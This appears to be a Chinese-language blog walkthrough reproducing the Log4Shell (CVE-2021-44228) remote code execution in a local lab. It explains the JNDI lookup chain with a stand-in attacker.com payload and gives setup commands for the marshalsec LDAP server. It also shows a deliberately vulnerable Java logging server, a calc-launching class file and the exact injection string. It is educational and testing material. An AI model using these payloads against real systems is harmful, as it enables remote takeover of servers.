文章 19
评论 1
浏览 92963
试试CVE-2021-44228 log4j2 rce

试试CVE-2021-44228 log4j2 rce

log4j是java程序中常用的日志工具库

20个小时前poc爆在了https://github.com/tangxiaofeng7/apache-log4j-poc

网上有很多现成的资料,今天试试poc
资料:https://www.lunasec.io/docs/blog/log4j-zero-day/

①触发利用过程

  1. 用户发送数据到服务器,不管什么协议,http也好,别的也好
  2. 服务器记录用户请求中的数据,数据中包含恶意payload:${jndi:ldap://attacker.com/a},其中attacker.com是攻击者的服务器
  3. log4j向attacker.com发送请求(jndi)时触发漏洞,因为有个$符号
  4. log4j收到的jndi响应中包含一个java class文件路径,比如是
    http://second-stage.attacker.com/Exploit.class,这个class文件会被log4j所运行在的服务器加载运行
  5. 第4步中注入的java class文件中的代码是攻击者的攻击代码
    未命名绘图.png

为了方便实验,直接用marshalsec工具。

②安装marshalsec工具

1 安装mvn

maven下载地址:apachemaven3.8.4bin.zip,解压到电脑上
比如用java:

set JAVA_HOME=C:\Program Files\Java\jdk1.8.0_181
set JRE_HOME=C:\Program Files\Java\jdk1.8.0_181\jre
set CLASSPATH=.;%JAVA_HOME%\lib
set PATH=%JAVA_HOME%\bin\;%PATH%
set M2_HOME=D:\download\marshalsec\apache-maven-3.8.4
set PATH=%M2_HOME%\bin;%PATH%
2 安装编译marshalsec

下载源码:

git clone https://github.com/mbechler/marshalsec.git

编译:

cd marshalsec
mvn clean package -DskipTests

image.png
看见BUILD SUCCESS就算成功编译,并且生成了marshalsec-0.0.3-SNAPSHOT-all.jar,这个是要用的jar包:marshalsec0.0.3SNAPSHOTall.jar

③包含漏洞的例子

一个java的简单的http服务器,读取http请求的http-header中的user-agent字段,使用带漏洞的log4j输出user-agent。

使用的log4j版本是2.14.1,jdk版本是1.8,如果是jdk11新版本可能利用不了

直接用idea打开可跑: apachelog4jpocmain.zip

import com.sun.net.httpserver.Headers;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import java.io.IOException;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.util.concurrent.Executors;

public class vuln_server_example {
    public static void main(String[] args) throws IOException {
        //创建一个HttpServer实例,并绑定到指定的IP地址和端口号
        HttpServer httpServer = HttpServer.create(new InetSocketAddress(8089), 0);

        //创建一个HttpContext,将路径为/myserver请求映射到MyHttpHandler处理器
        httpServer.createContext("/myserver", new VulnerableLog4jExampleHandler());

        //设置服务器的线程池对象
        httpServer.setExecutor(Executors.newFixedThreadPool(10));

        //启动服务器
        httpServer.start();
    }
}

class VulnerableLog4jExampleHandler implements HttpHandler {

    static Logger log = LogManager.getLogger(VulnerableLog4jExampleHandler.class.getName());

    /**
     * A simple HTTP endpoint that reads the request's User Agent and logs it back.
     * This is basically pseudo-code to explain the vulnerability, and not a full example.
     *
     * @param he HTTP Request Object
     */
    public void handle(HttpExchange he) throws IOException {
        Headers headers = he.getRequestHeaders();

        // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
        // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
        log.error("Request User Agent:" + headers.getFirst("user-agent"));

        String response = "<h1>Hello There, " + headers.getFirst("user-agent") + "!</h1>";
        he.sendResponseHeaders(200, response.length());
        OutputStream os = he.getResponseBody();
        os.write(response.getBytes());
        os.close();
    }
}

④整一个打开计算器的poc

public class calcproc {

    public calcproc(){
        try{
            Runtime.getRuntime().exec("calc");
        }catch (Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        calcproc c = new calcproc();
    }
}

保存成calcproc.java源码文件,然后编译成字节码文件:

javac calcproc.java

然后把calcproc.class放到web服务器上,只要能通过url下载就好
比如可以通过http://127.0.0.1/calcproc.class下载到这个字节码文件

⑤跑起来marshalsec

java -cp marshalsec\target\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#calcproc 10086

其中,10086是jndi的端口,http://127.0.0.1/#calcproc是指向poc的url

⑥触发漏洞

image.png

使用postman发送请求到vuln_server_example,修改user-agent,加入字符串${jndi:ldap://127.0.0.1:10086/a}
image.png

image.png


标题:试试CVE-2021-44228 log4j2 rce
作者:erlkonig
地址:https://erlkonig.tech/articles/2021/12/10/1639142577267.html

记录精彩的程序人生

取消